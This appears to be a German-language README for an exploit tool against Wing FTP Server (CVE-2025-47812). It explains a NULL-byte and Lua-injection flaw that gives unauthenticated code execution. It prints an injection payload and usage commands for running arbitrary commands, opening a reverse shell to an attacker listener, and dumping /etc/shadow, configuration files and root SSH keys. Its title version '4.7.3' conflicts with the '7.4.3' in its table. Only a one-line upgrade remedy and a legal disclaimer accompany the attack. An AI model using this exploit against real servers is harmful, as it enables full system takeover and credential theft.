
RCE for WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| Feld | Detail |
|---|---|
| CVE | CVE-2025-47812 |
| Betroffen | Wing FTP Server <= 7.4.3 |
| Behoben | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (Kritisch) |
| Authentifizierung erforderlich | Keine (anonymer Login ausreichend) |
| Erlangte Berechtigung | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| Entdeckt von | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
Die Weboberfläche von Wing FTP Server ist anfällig für einen zweistufigen Remote-Code-Ausführungsangriff vor der Authentifizierung.
Die Funktion c_CheckUser() im Wing FTP-Binärprogramm verwendet intern strlen(), welches den Benutzernamen-String beim ersten NULL-Byte (\x00) abschneidet. Das bedeutet, dass ein Benutzername wie anonymous%00<arbitrary_data> die Authentifizierung passiert, solange anonymous (oder ein anderer gültiger Benutzer) existiert.
Nach erfolgreicher Authentifizierung ruft loginok.html rawset(_SESSION, "username", username) mit dem vollständigen, unbereinigten POST-Parameter auf — einschließlich aller Daten nach dem NULL-Byte. Die Sitzung wird dann über SessionModule.save() in eine Lua-Skriptdatei auf der Festplatte serialisiert.
Da die Serialisierungsfunktion Zeichenfolgenwerte in [[...]] Lua-Langstring-Literale ohne jegliche Bereinigung verpackt, beendet das Injizieren von ]] in den Benutzernamen das Stringliteral vorzeitig, sodass beliebiger Lua-Code an die Sitzungsdatei angehängt werden kann.
Payload-Struktur:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
Das abschließende -- kommentiert das ]] aus, das Wing FTP nach dem Wert anhängt.
Die Sitzungsdatei (benannt nach dem Wert des UID-Cookies) ist ein Lua-Skript, das bei jedem Zugriff auf einen authentifizierten Endpunkt über loadfile() + f() ausgeführt wird. Das Senden von POST /dir.html mit dem UID-Cookie führt das injizierte Lua aus und gibt die Befehlsausgabe im Antworttext vor dem <?xml-Inhalt zurück.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing — supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Führen Sie ein Upgrade von Wing FTP Server auf Version 7.4.4 oder höher durch.
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Penetrationstests bereitgestellt. Die Verwendung dieses Exploits gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch.